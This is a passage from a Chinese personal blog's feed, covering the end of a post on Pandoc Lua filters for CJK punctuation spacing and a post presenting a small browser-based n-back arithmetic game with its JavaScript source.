&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;        curr&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;type&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;closing&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; and&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;next&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;type&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;opening&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; or&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; next&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;type&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;closing&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; or&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; next&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;type&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;other_punct&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;or&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;        curr&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;type&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;other_punct&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; and&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; next&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;type&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;closing&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; then&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;            table.insert&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;list&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;pandoc&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;Str&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;el&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;text&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;sub&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;start&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;curr&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;pos&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;)))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;            table.insert&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;list&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;squash&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;utf8.char&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;curr&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;cp&lt;&#x2F;span&gt;&lt;span&gt;)))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;            start&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; next&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;pos&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;        end&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    end&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; start&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; ~= -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; then&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;        table.insert&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;list&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;pandoc&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;Str&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;el&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;text&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;sub&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;start&lt;&#x2F;span&gt;&lt;span&gt;)))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    end&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; list&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;end&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h3 id=&quot;故意用错间隔号&quot;&gt;故意用错间隔号&lt;&#x2F;h3&gt;
&lt;p&gt;本段和下一段的内容不会使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Pandoc，也没有进行标点挤压。但它们讨论的标点宽度问题和上一段有所联系，所以我还是把它们记录在这里了。&lt;&#x2F;p&gt;
&lt;p&gt;按照国家标准的话，人名里的间隔号应该使用编码为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;U+00B7&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的西文&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;MIDDLE
DOT&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;字符。而且宽度应该为半字宽&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-9&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-9-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-9-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[9]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-9-content&quot;&gt;我并没有读国标文档，我是从字谈字畅第&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;189&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;期听来的。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;
&lt;p&gt;中西共用一个码位是很多问题的万恶之源，并且我认为间隔号应该占整个字宽。所以我把位于&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;U+30FB&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的日文&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;KATAKANA
MIDDLE DOT&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;当作中文的间隔号使用。&lt;&#x2F;p&gt;
&lt;p&gt;由于我的博客不是什么身份系统，我不遵守国标不会造成少数民族兄弟们买不了火车票。所以我对故意用错间隔号这事并没有感到什么不妥。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;英文撇号的处理方法&quot;&gt;英文撇号的处理方法&lt;&#x2F;h3&gt;
&lt;p&gt;在浏览英文网页时经常会因为撇号的字距太宽搞得心烦意乱。其原因在于英文的撇号和中文的反单引号是同一个字符（中西共用一个码位&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;我不想处理这件事，直到我在写游记时写到了需要用到撇号的地名：&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-antalya&#x2F;#Hadrianus%E2%80%99_Arch&quot;&gt;Hadrianus’
Arch&lt;&#x2F;a&gt;。这事倒是有省力的方法：用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;CSS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;unicode-range&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;给撇号指定一个只包含撇号一个字符的英文字体。&lt;&#x2F;p&gt;
&lt;p&gt;因为我的中文字体使用的是&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;adobe-fonts&#x2F;source-han-serif&quot;&gt;思源宋体&lt;&#x2F;a&gt;，它的拉丁字母来自&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;adobe-fonts&#x2F;source-serif&quot;&gt;Source
Serif&lt;&#x2F;a&gt;。所以撇号的英文字体首选自然是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Source
Serif。然而，&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.thetype.com&#x2F;2017&#x2F;04&#x2F;11961&#x2F;#:~:text=%E4%B8%BA%E9%85%8D%E5%90%88%E4%B8%AD%E6%97%A5%E9%9F%A9%E6%B7%B7%E6%8E%92%EF%BC%8C%E5%8E%9F%20Source%20Serif%20Pro%20%E7%9A%84%E5%AD%97%E5%BD%A2%E8%A2%AB%E6%94%BE%E5%A4%A7%E5%88%B0%20107.5%25%EF%BC%88ExtraLight%EF%BC%89%20%E5%88%B0%20113.3%25%EF%BC%88Heavy%EF%BC%89%E3%80%82%E5%9B%A0%E6%AD%A4%E5%90%8C%E6%A0%B7%E5%AD%97%E5%8F%B7%E4%B8%8B%EF%BC%8C%E6%80%9D%E6%BA%90%E5%AE%8B%E4%BD%93%E9%87%8C%E7%9A%84%E8%A5%BF%E6%96%87%E8%A6%81%E6%AF%94%E5%8E%9F%E7%89%88%20Source%20Serif%20Pro%20%E7%9A%84%E5%AD%97%E8%A6%81%E5%A4%A7%E3%80%82&quot;&gt;思源宋体的拉丁字母是经过调整的&lt;&#x2F;a&gt;，如果直接拿&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Source
Serif&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里的撇号过来搭配会有微小的不和谐感。不过乍一眼看上去效果已经够好了，起码比直接用空白巨大的中文反单引号强很多：&lt;span id=&#x27;fn-10&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-10-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-10-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[10]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-10-content&quot;&gt;来自《The
Big Questions: A Short Introduction to
Philosophy&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;。这本书的译文版翻译得很好，我十分推荐。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;Napoleon’s troops were already approaching the city, and you could
hear the cannon from the steps of the university library.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;unicode-range&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;给撇号指定英文字符的代价就是我没法在写中文时正常使用反单引号，不过目前这不是问题。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;性能&quot;&gt;性能&lt;&#x2F;h2&gt;
&lt;p&gt;我在尝试前最担心的其实是性能，因为在我的印象里&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Haskell&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;属于编译过后仍然慢得没边的语言。结果用起来后发现还挺快，瓶颈应该是硬盘速度，所以关于性能还是不用担心。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;更多功能&quot;&gt;更多功能&lt;&#x2F;h2&gt;
&lt;p&gt;上面的几个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;filters&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;其实只解决了排版中间距的问题，并没有给&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Markdown&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;加别的功能。RStudio&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;quarto-dev&#x2F;quarto-cli&#x2F;tree&#x2F;f30d1494955e63402ea3bc0db4728ea8c4011499&#x2F;src&#x2F;resources&#x2F;filters&quot;&gt;11857&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;行&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lua&lt;&#x2F;a&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;给他们的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Quarto
Markdown&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;加了很多功能。我也想加，但我累了，今天先睡了。&lt;&#x2F;p&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;pandoc-as-markdown-preprocessor
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;pandoc-as-markdown-preprocessor&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>简单的魔鬼计算</title>
    <published>2022-07-29T18:34:32+01:00</published>
    <updated>2023-09-05T13:29:33+01:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/simple-devilish-calculatons/" type="text/html" />
    <id>https://emptystack.top/simple-devilish-calculatons/</id>
    <content type="html">
      &lt;p&gt;魔鬼计算是《脑科学专家 川岛隆太博士监修 突破极限 脑的五分钟
魔鬼锻炼》里代表性的小游戏，也是我的最爱。可惜的是，系列最新作《脑科学专家
川岛隆太博士监修 大人的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Nintendo
Switch&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;脑部锻炼》没有收录这个锻炼&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-1&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-1-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-1-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[1]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-1-content&quot;&gt;最新作里收录了类似的模式：选出前&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;N&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;题出现的图形。由于少了计算环节，不如魔鬼计算过瘾。而且图形比数字难记。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;我的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;3DS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;不在手边，却时不时想玩魔鬼计算，所以写了下面的简化版。&lt;&#x2F;p&gt;
&lt;p&gt;看完&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;simple-devilish-calculatons&#x2F;#%E8%A7%84%E5%88%99&quot;&gt;规则&lt;&#x2F;a&gt;后，点击开始试试吧（开始后再点开始可以重来&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;：&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;div&gt;
    &lt;div&gt;
        &lt;div&gt;
            &lt;textarea rows=&#x27;1&#x27; cols=&#x27;2&#x27; id=&#x27;N&#x27;&gt;1&lt;&#x2F;textarea&gt;
            溯答
            &lt;button id=&#x27;start&#x27;&gt;开始&lt;&#x2F;button&gt;
        &lt;&#x2F;div&gt;
        &lt;div id=&#x27;question&#x27;&gt;&lt;br&gt;&lt;&#x2F;div&gt;
        &lt;div&gt;
            ? &lt;small&gt;?&lt;&#x2F;small&gt; ? = &lt;textarea rows=&#x27;1&#x27; cols=&#x27;2&#x27; id=&#x27;input&#x27; style=&#x27;visibility: hidden&#x27;&gt;&lt;&#x2F;textarea&gt;
        &lt;&#x2F;div&gt;
        &lt;div&gt;正确率：&lt;span id=&#x27;accuracy&#x27;&gt;??&lt;&#x2F;span&gt;%&lt;&#x2F;div&gt;
        &lt;div id=&#x27;log&#x27;&gt;&lt;&#x2F;div&gt;
    &lt;&#x2F;div&gt;
    &lt;script&gt;
        const id = x =&gt; document.getElementById(x)
        const textarea = id(&#x27;input&#x27;),
            log = id(&#x27;log&#x27;),
            pane = id(&#x27;question&#x27;),
            accuracy = id(&#x27;accuracy&#x27;),
            button = id(&#x27;start&#x27;),
            nBack = id(&#x27;N&#x27;)

        const randint = max =&gt; Math.floor(Math.random() * max)

        let queue
        function updateQuestion() {
            const a = randint(10),
                b = randint(10 - a),
                sum = a + b,
                qa = [[`${a} + ${b}`, sum], [`${sum} - ${a}`, b]][randint(2)]
            pane.innerText = qa[0]
            textarea.value = &#x27;&#x27;
            queue.push(qa)
        }

        const sleep = sec =&gt; new Promise(resolve =&gt; setTimeout(resolve, sec * 1000))

        async function main(n) {
            queue = []
            textarea.style.visibility = &#x27;hidden&#x27;
            accuracy.innerText = &#x27;??&#x27;
            log.innerText = &#x27;&#x27;
            for (let i = 0; i &lt; n; ++i) {
                updateQuestion()
                await sleep(1)
            }
            &#x2F;&#x2F; 最后一题不需要等
            updateQuestion()
            &#x2F;&#x2F; 开始
            textarea.style.visibility = &#x27;visible&#x27;
            textarea.focus()
        }

        button.addEventListener(&#x27;click&#x27;, e =&gt; main(parseInt(nBack.value)))

        &#x2F;&#x2F; 确保只能输入一个数字
        textarea.addEventListener(&#x27;keydown&#x27;, e =&gt; {
            if (e.repeat) {
                const curr = textarea.value
                textarea.value = curr.substring(0, curr.length - 1)
                return
            }
        })

        let count = 0, correct = 0
        textarea.addEventListener(&#x27;keyup&#x27;, (e) =&gt; {
            const num = parseInt(textarea.value)
            const [question, answer] = queue[0]
            ++count
            queue.shift()
            if (answer == num) {
                ++correct
                log.innerText = &#x27;对\n&#x27; + log.innerText
            } else
                log.innerText = `错: ${question} = ${answer} ≠ ${num}\n${log.innerText}`
            updateQuestion()
            accuracy.innerText = Math.round(correct &#x2F; count * 100)
        })
    &lt;&#x2F;script&gt;
&lt;&#x2F;div&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;规则&quot;&gt;规则&lt;&#x2F;h2&gt;
&lt;p&gt;用一句话说就是：一边计算当前题目，一边填写前&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;N&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;题的答案。&lt;&#x2F;p&gt;
&lt;p&gt;比如在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;2&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;溯答模式中，假设游戏先显示了“1 + 1&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;、&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;2 + 2&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;，此时正在显示“3 + 3&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;。你应该做的是计算“3 + 3&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;，同时填入“1 + 1”的答案。无论正确与否，游戏都会显示下一题，那时你需要记住新出现的题目，再填写“2 + 2”的答案。&lt;&#x2F;p&gt;
&lt;p&gt;在原版游戏中，每&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;24&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;题后会根据正确率调整&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;N&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;值&lt;span class=&quot;halt&quot;&gt;，&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-2&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-2-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-2-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[2]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-2-content&quot;&gt;正确率&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;85%&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;以上难度增加，65%&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;以下难度下降。原游戏还有慢速快速来细分难度。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;直到游玩时间超过五分钟——川岛隆太博士认为一口气玩五分钟才能真正锻炼工作记忆。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;代码&quot;&gt;代码&lt;&#x2F;h2&gt;
&lt;p&gt;规则所描述的就是队列，所以代码需要做的就是循环对队列进行操作：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;生成新的题目，压入队列后面&lt;&#x2F;li&gt;
&lt;li&gt;弹出队列前面，判断输入正误&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;原版中的题目只有加法减法，操作数与答案也都是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;10&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;以下自然数。&lt;s&gt;我生成题目的方法是扔色子，不合条件就重新扔。应该有更巧妙的方法——但是这个已经够用了。&lt;&#x2F;s&gt;更新：我在参加&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lisp
Game Jam
2022&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;时找到了更巧妙的方法，详见&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;lisp-game-jam-2022&#x2F;#%E9%AD%94%E9%AC%BC%E8%AE%A1%E7%AE%97&quot;&gt;Lisp
Game Jam
2022&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的魔鬼计算小节&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;details&gt;
&lt;summary&gt;
&lt;p&gt;完整代码&lt;&#x2F;p&gt;
&lt;&#x2F;summary&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;        &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;            &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;textarea&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; rows&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; cols&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: 